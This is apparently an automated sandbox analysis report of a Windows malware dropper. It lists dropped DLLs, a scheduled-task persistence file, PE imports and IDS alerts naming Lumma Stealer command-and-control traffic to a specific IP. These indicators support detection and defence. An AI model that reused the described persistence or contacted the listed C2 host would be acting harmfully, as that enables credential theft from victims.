Preview:	.<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <noInheritable></noInheritable>.. <assemblyIdentity type="win32" name="Microsoft.VC80.MFC" version="8.0.50727.762" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b"></assemblyIdentity>.. <file name="mfc80.dll" hash="8f53f3ce664dfb39cadf8ecb34dd49cbd8348227" hashalg="SHA1"><asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><dsig:Transforms><dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity"></dsig:Transform></dsig:Transforms><dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></dsig:DigestMethod><dsig:DigestValue>1ojXfwyqiX5uwu0seJ53tIMEcB8=</dsig:DigestValue></asmv2:hash></file>.. <file name="mfc80u.dll" hash="db3a3bfed210d41af3579d948cace75cb74eee0a" hashalg="SHA1"><asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\SftTree_IX86_U_60.dll

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11161368
Entropy (8bit):	7.937871340368535
Encrypted:	false
SSDEEP:	196608:9Eyur2olO+VZA0i+50l7b1DPl3VOoGQmH/h77+UVWB5rGObit:jeNyB1DFVAfJ7K4ChVit
MD5:	C010B084129E3316CA16001EBB116BFC
SHA1:	3FB7C6211114A73365803A47A806082F50DEED17
SHA-256:	2CB66C1F7CBE9DB93539F9DC22398706C44C2E5CF8AD45F3724A7073B7F1DFAF
SHA-512:	FAFF290143D5818BB71560AE461391B2F483E398476594972F0EDE105164CE84F22390D10F24BC6A013DE7398A7666DA4423D429140BD11C5F4C129DC37CD667
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....lsI...........!..................k.............................................>........'......................4.p..g...........`..G(........... .../...........................................................pj.T...X...@....................text...U........................... ..`.rdata..............................@..@.data...(...........................@....e&'....X.a..p...................... ..`.U[x....l....pj.....................@..../Ly.........j..... .............. ..`.rsrc...G(...`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\lueffw

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	data
Category:	dropped
Size (bytes):	44204
Entropy (8bit):	4.774510692006982
Encrypted:	false
SSDEEP:	768:EKbYQWbd2yZ+C4M3cCkJTm+KdRf1VExLUM+e3xbjPGW2d3qjBALq/7XzCnq0U:pUDbwxCCqRNeUM+e3X28jBALJq0U
MD5:	F5FF83B783E3AA384505C96F6122884F
SHA1:	980E5D27763EC2DC4A640E0A0B2653CCB8E11CD2
SHA-256:	16A6D0AECCBCAB6DC54C164E397F28B328AE947715D1400013EF8A647D07E856
SHA-512:	5E008A7D34100FFEB7AB05008E14FB38690C4A66FCEE96ABAA5430191DFFB5FEB2B5ECFB6EB47EAC7169FEEFB9C22D7AA6A58B50D605BED9162BFF6A2971379C
Malicious:	false
Preview:	..y..k...].IcWoa...ol..r....t..c.....Kd...c...f..i.h.t....bu..[l....p[rNZc.f.h..C.Z.G.....Y..Zkm.hGi.\y.....J.Fu.N.M.T..jc.nf...IjE.p.D..V].._]....._E..\lf.M..hf..R......j......pvMNY...lX...nY._.G....IH..n....eg.wD.s......p..jo..N..h.....i.Xk.IK...ch..[....T\`WxI.nIN..Iq...tR`.N.S........on.HQ.[..L.D.ADNl.E.iy.a..iK..j[c..C\.k.DJ..^[J....p_dWwmF.Y..P.bemn......Te_W.PdHCqgE.UW.....ai.R.JkQ...K..R.my..C....FNLO.NplYt..w...t....^D....T.g..i.`P...o.v..Bl..Aa.Y^po..Gf.oxnaH\.q^...MXf.PE..aS..g.jGD...En[nT[b...n]G.nxL.f...e..]T.N...C..e.Q.tV.O.JT`n..C....o.o.pWUu.E...fpK._\pc......TJP...`r.F..O..k.m..N....N..lo.H.M.\d.D..k..p_.s.vm.qj..va..J.m.CC.L....q.rnUI..f.....x.k...KQT.W.^.yWSE.Pyd.kE._j..S....a...dP....\.nXDO...oW.NC..D.GJN..cE.R.Yg\ABU....E...O....IW...`..eZv.hw.k[C..q.i[.x...FU.........O.D.c...qA.g.]....I...^bAkQYFY....jm.Q..DY....rm.YUZ.j.Og.dBUiD...hq.\.b..QB.SjP.HT.s.ox.H`..a...AjbDAl..G.MN.ep....f.RPTUYZAV..Vl..mIm.nT.Iac.uqtj.dCR.Ei....G.DOcu.A..Y.......acY.iF^..^.....j.y.F....

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\mfc80u.dll

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1093120
Entropy (8bit):	6.517624141841358
Encrypted:	false
SSDEEP:	12288:o5lk6KUYmYRP6vAt9+J51r64f22JhPeEiz8F+p/xoOTa+S9XqNNw2ohW3:UyUaP64t9+JfrRJiz8F+p/N2/cmW
MD5:	CCC2E312486AE6B80970211DA472268B
SHA1:	025B52FF11627760F7006510E9A521B554230FEE
SHA-256:	18BE5D3C656236B7E3CD6D619D62496FE3E7F66BF2859E460F8AC3D1A6BDAA9A
SHA-512:	D6892ABB1A85B9CF0FC6ABE1C3ACA6C46FC47541DFFC2B75F311E8D2C9C1D367F265599456BD77BE0E2B6D20C6C22FF5F0C46E7D9BA22C847AD1CBEDC8CA3EFF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................R..............R.......R...............l......n......l......l......l......l.L....l......l......l.....Rich............PE..L...84qE...........!.....p...\.......U.............x......................................@.........................@....e..4...x.......................................................................@...............4...<........................text...'n.......p.................. ..`.data....k.......J...t..............@....rsrc...............................@..@.reloc..R7.......8...v..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\msvcp80.dll

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	548864
Entropy (8bit):	6.402420828464982
Encrypted:	false
SSDEEP:	12288:Q1HyurvZ0JPjuTtSu86th1n/hUgiW6QR7t5j3Ooc8NHkC2eo:Q1HyurvZ0liTwuhtjnj3Ooc8NHkC2eo
MD5:	4C8A880EABC0B4D462CC4B2472116EA1
SHA1:	D0A27F553C0FE0E507C7DF079485B601D5B592E6
SHA-256:	2026F3C4F830DFF6883B88E2647272A52A132F25EB42C0D423E36B3F65A94D08
SHA-512:	6A6CCE8C232F46DAB9B02D29BE5E0675CC1E968E9C2D64D0ABC008D20C0A7BAEB103A5B1D9B348FA1C4B3AF9797DBCB6E168B14B545FB15C2CCD926C3098C31C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............y..y..y..fv..y..y..#y.....y..2...y.....y.....y......y.....y.....y.....y..Rich.y..........PE..L...."qE...........!.....@... ...............P....B\|.........................p......u.....@.............................L...T...<............................ ..L2...S..............................Pe..@............P.. ............................text....;.......@.................. ..`.rdata......P.......P..............@..@.data...l&....... ..................@....rsrc...............................@..@.reloc..NA... ...P..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\msvcr80.dll

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	626688
Entropy (8bit):	6.8397070634061174
Encrypted:	false
SSDEEP:	12288:6Fqi2VC1J7Zs7a5zchr46CIfsyZmGyYCqeC:6Ui2C1JdoiEdmGyYu
MD5:	E4FECE18310E23B1D8FEE993E35E7A6F
SHA1:	9FD3A7F0522D36C2BF0E64FC510C6EEA3603B564
SHA-256:	02BDDE38E4C6BD795A092D496B8D6060CDBE71E22EF4D7A204E3050C1BE44FA9
SHA-512:	2FB5F8D63A39BA5E93505DF3A643D14E286FE34B11984CBED4B88E8A07517C03EFB3A7BF9D61CF1EC73B0A20D83F9E6068E61950A61D649B8D36082BB034DDFC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L.........@................!......;.............d.......................Rich...................PE..L...8"qE...........!.....0...p......+#.......@.....x......................................@..........................q...~..Pc..<....`.......................p..H3...B...............................F..@............@...............................text...*'.......0.................. ..`.rdata......@.......@..............@..@.data...Li.......P..................@....rsrc........`.......@..............@..@.reloc...7...p...@...P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\opglkft

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	data
Category:	dropped
Size (bytes):	6024002
Entropy (8bit):	7.983141823549703
Encrypted:	false
SSDEEP:	98304:FC3aVqBokLB6CKANoygP+FgFdsjCw+ErZTvQV9hk8o1/vRXwT0CdeZmyyllvtGx:FC3akB1X9gP+muuQvc9hk84vOT0mEmVc
MD5:	3CE938CE3B8509703345D6F45C085334
SHA1:	9D0759CCB917B7F6C61076809DE3CA552B27C9B4
SHA-256:	8252C7C3550678D8BDA298A6BA04B163FBBC6BB31D055420A1A749CC9AEA19E3
SHA-512:	B4999530A37F1A5FF4FDFA3466A27E8D11995305EC8C8D35E6C37BB4D09F122C34A41EFA59733784B7CDAD8C0BA2A884072A74AD9CF918CED13AB75B1C6325FF
Malicious:	false
Preview:	.X.ulg.nREJ......TCQNKD.cF.UWbJ.sMCyc.ox..R.GOi.y.......yWF.P.`Y..b.dV..fH....v..XyL..W.....H..V..\fuBd.JAJ...Xnk.oL..y.o.]D...a.^bI.N._r..Y....i.P....nT..R.S.Ija.c.S]i....uRV...B.HLR.pr.`....]yI...Hw`.d..\...kp.o..K`....R[_.]Lip.`........W...L\..UjGPER_B...IV.vu..q..E_.WU..Dg.ad...h.vExta_E.Z..g.S....VU[I].....P.grFAm.PR[tHObe..uEE.QT...]..Jx..K..k_.e..kVLyP.A.j.y.S.N.m..yhU.OZjk..B..A...o...BYmy.^q....G.xdV.iCk.......y..ey.o.N..p.l..B.l.PD.v...iqP.J^Hw..M..i........Uk.Gp_.RNc...VmDyXL.j\.Z..nQW.Yi.p.vt....C.Bo.c.Ty.H....o..G..p.eHlQu..e..tW......B.rr.Qp.CI..T`q...Sb.[.nt.xv.....O.UN.eQ.t...Z..DL]_.cN....ZiYj.E...Po.y.`e.K[I.....uwS.QW....S.mRuaZ.F].j.V..GN[x.VU..\U.g.BF..._\URgu.Wrgg[.ickYfvDNiJ..E..b.LpF......mnc[.U..M.pk..l.oZHY.Ul.u..O.B`..Kt.Iv..g.Ggyf..FSgW.Px.KN.......Gg..w.WpW.M....I`..C.._..h..V..HH.mxyg.....U.EO.n...eF.eA.A...X.iY.cc.GZv.Vj....HV...VOvK.Z...FGokG.....t..h.i..Ql.G....\uNF.J.r.........S.Mb..bcnSIK..P..RD.....YB.....rMm..Md..a...MJb..e...f...W.nS.AS..]].I.E\nuP

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	476584
Entropy (8bit):	6.663002644370433
Encrypted:	false
SSDEEP:	6144:OcX3wRPtfRkJExpFpyNQYDIJ6LuBaPZqKRFk5MO/IRA20hewTCifeaVbvwyiuY:O2CtpAIJ6Lu4qKRFk5J2gTteB
MD5:	B7FB7EB3CB04E0A086A8D945FF45615E
SHA1:	CEFABA225DEAE05B56451F18F11581631147A081
SHA-256:	8567B0E23FD4178270CA674810755C9DFDAE1F4028E01C0C74A4EEB7774A1688
SHA-512:	54238BB4D3FFB3135703627E53F59BCEC25F1D4F73412BB30283C65BA627C42E279BE2C3299497B191FE4DEC1D1B0D4E4998091A645337C75AA13F1D5F46EEE3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....FM.(..0...... ...8...........................`.................................&........ .........................X............................,..........."...................................................................................text...............................`..`.data...X...........................@....bss.... ................................edata..X...........................@....idata..............................@....reloc...".......$..................@....stab...l....@.........................B.stabstra....`.........................B.rsrc................(..............@..@........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\wlessfp1.dll

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	72104
Entropy (8bit):	6.1310599873854965
Encrypted:	false
SSDEEP:	1536:nEqYKdOEuqRKXd9ZWbIOinToIfYeyOgtPko:EqnB89ZouTBf5yOgtPko
MD5:	5120C44F241A12A3D5A3E87856477C13
SHA1:	CD8A6EF728C48E17D570C8DC582EC49E17104F6D
SHA-256:	FBD4B6011D3D1C2AF22827CA548BA19669EEF31173D496E75F064EF7A884431C
SHA-512:	67C0E718368E950D42F007D6A21C6F903B084D6514F777B86AAB3111FFE3BE995949674276081C0281139A0B39119B84630A0AC341D4AE78677AC8346F371AE1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........>...PT..PT..PT.4+T..PT;6.T..PT.4-T..PT...T..PT.4=T..PT...T..PT..QT..PT.4>T..PT.4*T..PT.4(T..PTRich..PT................PE..L...u..L...........!.....p...........k...............................................W..................................;...........................................................................0...@............................................text....a.......p.................. ..`.rdata...N.......P..................@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\NodeJS Web Framework.job

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	data
Category:	dropped
Size (bytes):	318
Entropy (8bit):	3.5607124511876833
Encrypted:	false
SSDEEP:	6:LZiHDS8fAXUEZglJPZ7aQMgeam6tE9+AQy0l/glGq/11:tijSmAMJtRN69+nV/glj
MD5:	496ABD3D20B580681DC41683550D9DB1
SHA1:	E1CA4A41CBD24816055352E156FBBD9233A90A16
SHA-256:	68C460302AA468590A1B44109BFD3AB05F895BB173D64F438752B01BEC2EAEE0
SHA-512:	54A3BAF1D3C7C8B1C1A0706A91048C0F638023EE767D3AF63C185FF4E3039C57E894C36DCDE2EE4BA5D5B936EC6F6CBBEDB68218DAB03B83890DDFF342CB8258
Malicious:	false
Preview:	.....IrP5..G..[..,..F.......<... ................ ....................C.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.a.m.d.6.4._.4.c.1.0.e.e.f.f.8.8.6.a.3.2.5.1.\.I.m.A.p.p...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.........8.....................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.294656472808667
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	b6FArHy7yA.exe
File size:	718'848 bytes
MD5:	646e2bff8d4d8ad6689f9edbc3f7fd27
SHA1:	96b6ee40793ee39b380433b5b4116e4c4211d3eb
SHA256:	ae194517d632d9e0644984547d2f6f86c563350eccc501e97b1452a4f4bc089b
SHA512:	3d20eac2f05b43ce61ee2917454c0e9b72292e9b2473777cbb616c3940c83e632283e651e016ad3f969516ce5929cdb6b1f5c57fe577efa5b33a657ce0672764
SSDEEP:	12288:00OcB+pwPprnVmLmDsC+FU+ZOSzQBFrDOQ/t/Jvv5hFLzJG7aCKJqXRx:00OsDFncLmKDZOSzYFTFBvv5hFLzF
TLSH:	CEE4AF31B6E44263D5E206BBF814D3236DFDB1183B20457B82579F9E69B8C9697F3202
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...y.Hg.....................h.......~.......@....@..........................`......-.....@................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x427e1e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67488779 [Thu Nov 28 15:08:41 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	dcbe94b8cc54b8e53867c61cc96811d6

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
call 00007FCE4CEAB901h
jmp 00007FCE4CEA987Eh
int3
int3
int3
int3
int3
int3
int3
int3
mov edx, dword ptr [esp+0Ch]
mov ecx, dword ptr [esp+04h]
test edx, edx
je 00007FCE4CEA9A5Bh
xor eax, eax
mov al, byte ptr [esp+08h]
test al, al
jne 00007FCE4CEA9A08h
cmp edx, 00000080h
jc 00007FCE4CEA9A00h
cmp dword ptr [00456EE8h], 00000000h
je 00007FCE4CEA99F7h
jmp 00007FCE4CEAB963h
push edi
mov edi, ecx
cmp edx, 04h
jc 00007FCE4CEA9A23h
neg ecx
and ecx, 03h
je 00007FCE4CEA99FEh
sub edx, ecx
mov byte ptr [edi], al
add edi, 01h
sub ecx, 01h
jne 00007FCE4CEA99E8h
mov ecx, eax
shl eax, 08h
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 03h
shr ecx, 02h
je 00007FCE4CEA99F8h
rep stosd
test edx, edx
je 00007FCE4CEA99FCh
mov byte ptr [edi], al
add edi, 01h
sub edx, 01h
jne 00007FCE4CEA99E8h
mov eax, dword ptr [esp+08h]
pop edi
ret
mov eax, dword ptr [esp+04h]
ret
cmp ecx, dword ptr [004540D0h]
jne 00007FCE4CEA99F4h
rep ret
jmp 00007FCE4CEAB9D0h
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FCE4CEA99FAh
cmp edi, eax
jc 00007FCE4CEA9B96h
cmp ecx, 00000080h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x52174	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5a000	0x37e4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x28de91c9	0x2858
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5e000	0x58000	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a4f0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x51b20	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x51ad8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3a000	0x480	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x38b74	0x38c00	5aa19d1e07ff40ee626e3437615623cc	False	0.5514222535792952	data	6.526286499684043	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3a000	0x19aae	0x19c00	0cabf26b85a380a62ff0dfe17dab7d19	False	0.27859526699029125	data	4.964566690674343	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x54000	0x3020	0x1000	50589d8af42553f87e3ae9474771d658	False	0.224609375	OpenPGP Public Key	2.673802446914447	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.wixburn	0x58000	0x38	0x200	d3afdc2959d2a7dde39b5de496811f9c	False	0.12890625	data	0.7351616034595755	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x59000	0x9	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5a000	0x37e4	0x3800	440acbff4f5e73151868e216f0ea5656	False	0.3349609375	data	5.423516902867977	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x5e000	0x58000	0x58000	93283309425ccd8702420f0de93565da	False	0.6738392223011364	data	7.494039142198216	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x5a178	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.43185920577617326
RT_MESSAGETABLE	0x5aa20	0x25b4	data	English	United States	0.2850186489846664
RT_GROUP_ICON	0x5cfd4	0x14	data	English	United States	1.15
RT_VERSION	0x5cfe8	0x3f4	data	English	United States	0.4031620553359684
RT_MANIFEST	0x5d3dc	0x408	ASCII text, with very long lines (1032), with no line terminators	English	United States	0.4757751937984496

Imports

DLL	Import
ADVAPI32.dll	AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, ConvertStringSecurityDescriptorToSecurityDescriptorW, RegCloseKey, RegDeleteValueW, RegQueryValueExW, GetUserNameW, InitiateSystemShutdownExW, CreateWellKnownSid, InitializeAcl, SetEntriesInAclW, DecryptFileW, ChangeServiceConfigW, ControlService, CloseServiceHandle, QueryServiceStatus, OpenServiceW, OpenSCManagerW, CryptAcquireContextW, CryptCreateHash, CryptHashData, CryptGetHashParam, CryptDestroyHash, CryptReleaseContext, RegDeleteKeyW, RegCreateKeyExW, RegEnumKeyExW, RegEnumValueW, RegQueryInfoKeyW, RegSetValueExW, SetEntriesInAclA, SetSecurityDescriptorGroup, RegOpenKeyExW, GetTokenInformation, CheckTokenMembership, AllocateAndInitializeSid, FreeSid, LookupAccountNameW, SetNamedSecurityInfoW, InitializeSecurityDescriptor, SetSecurityDescriptorDacl, SetSecurityDescriptorOwner, QueryServiceConfigW
USER32.dll	GetMessageW, PeekMessageW, PostMessageW, PostThreadMessageW, PostQuitMessage, SetWindowLongW, DefWindowProcW, UnregisterClassW, DispatchMessageW, TranslateMessage, GetMonitorInfoW, IsDialogMessageW, MessageBoxW, GetWindowLongW, RegisterClassW, IsWindow, MsgWaitForMultipleObjects, WaitForInputIdle, LoadCursorW, LoadBitmapW, GetCursorPos, MonitorFromPoint, CreateWindowExW
OLEAUT32.dll	SysFreeString, SysAllocString, VariantInit, VariantClear
GDI32.dll	DeleteObject, GetObjectW, CreateCompatibleDC, SelectObject, DeleteDC, StretchBlt
SHELL32.dll	ShellExecuteExW, SHGetFolderPathW, CommandLineToArgvW
ole32.dll	CoTaskMemFree, CoInitializeSecurity, CLSIDFromProgID, CoCreateInstance, CoInitialize, StringFromGUID2, CoInitializeEx, CoUninitialize
KERNEL32.dll	ReadFile, SetFilePointerEx, CreateFileW, GetCurrentProcessId, GetProcessId, WriteFile, ConnectNamedPipe, SetNamedPipeHandleState, lstrlenW, CompareStringW, LocalFree, CreateNamedPipeW, WaitForSingleObject, OpenProcess, lstrlenA, RemoveDirectoryW, GetFileAttributesW, ExpandEnvironmentStringsW, LeaveCriticalSection, EnterCriticalSection, FreeLibrary, GetProcAddress, VerifyVersionInfoW, VerSetConditionMask, GetComputerNameW, GetTempPathW, GetSystemDirectoryW, GetSystemWow64DirectoryW, GetVolumePathNameW, GetWindowsDirectoryW, GetSystemDefaultLangID, RtlUnwind, GetDateFormatW, GetSystemTime, InterlockedExchange, LoadLibraryW, InterlockedCompareExchange, GetExitCodeThread, CreateThread, SetEvent, WaitForMultipleObjects, CreateEventW, ProcessIdToSessionId, InterlockedIncrement, InterlockedDecrement, GetStringTypeW, GetModuleHandleW, FindClose, FindNextFileW, FindFirstFileW, CreateProcessW, SetCurrentDirectoryW, GetCurrentDirectoryW, GetExitCodeProcess, DuplicateHandle, SetThreadExecutionState, CopyFileExW, UnmapViewOfFile, MapViewOfFile, CreateFileMappingW, CreateMutexW, SetEndOfFile, ResetEvent, SetFileTime, LocalFileTimeToFileTime, DosDateTimeToFileTime, CreateFileA, CompareStringA, GetSystemTimeAsFileTime, VirtualFree, VirtualAlloc, DeleteFileW, GetThreadLocale, GetVersionExW, GetCurrentThreadId, TlsAlloc, TlsSetValue, ReleaseMutex, GetLastError, Sleep, TlsGetValue, CloseHandle, DeleteCriticalSection, GetTimeZoneInformation, GetACP, GetCPInfo, RaiseException, HeapAlloc, HeapFree, IsDebuggerPresent, UnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, SystemTimeToTzSpecificLocalTime, SystemTimeToFileTime, GlobalAlloc, GlobalFree, SetFilePointer, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, TlsFree, InitializeCriticalSection, GetCurrentProcess, HeapSetInformation, GetOEMCP, SetFileAttributesW, IsValidCodePage, HeapSize, HeapReAlloc, LCMapStringW, MultiByteToWideChar, SetStdHandle, WriteConsoleW, FlushFileBuffers, GetLocalTime, FormatMessageW, GetTempFileNameW, GetFullPathNameW, CreateDirectoryW, GetProcessHeap, GetModuleHandleA, GetFileSizeEx, GetUserDefaultLangID, GetTickCount, QueryPerformanceCounter, HeapCreate, SetLastError, EncodePointer, GetFileType, InitializeCriticalSectionAndSpinCount, SetHandleCount, GetEnvironmentStringsW, MoveFileExW, FreeEnvironmentStringsW, GetModuleFileNameW, GetStdHandle, DecodePointer, GetCommandLineW, GetStartupInfoW, SetUnhandledExceptionFilter, ExitProcess, CopyFileW
Cabinet.dll
CRYPT32.dll	CryptHashPublicKeyInfo, CertGetCertificateContextProperty
msi.dll
RPCRT4.dll	UuidCreate
WININET.dll	InternetCrackUrlW, HttpQueryInfoW, InternetCloseHandle, HttpAddRequestHeadersW, HttpOpenRequestW, InternetErrorDlg, InternetReadFile, HttpSendRequestW, InternetSetOptionW, InternetConnectW, InternetOpenW
WINTRUST.dll	CryptCATAdminCalcHashFromFileHandle, WTHelperProvDataFromStateData, WTHelperGetProvSignerFromChain, WinVerifyTrust
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-05T15:03:12.812698+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49719	104.21.8.82	443	TCP
2024-12-05T15:03:16.163707+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49719	104.21.8.82	443	TCP
2024-12-05T15:03:16.163707+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49719	104.21.8.82	443	TCP
2024-12-05T15:03:17.768425+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49734	104.21.8.82	443	TCP
2024-12-05T15:03:23.669299+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49734	104.21.8.82	443	TCP
2024-12-05T15:03:23.669299+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49734	104.21.8.82	443	TCP
2024-12-05T15:03:25.153772+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49752	104.21.8.82	443	TCP
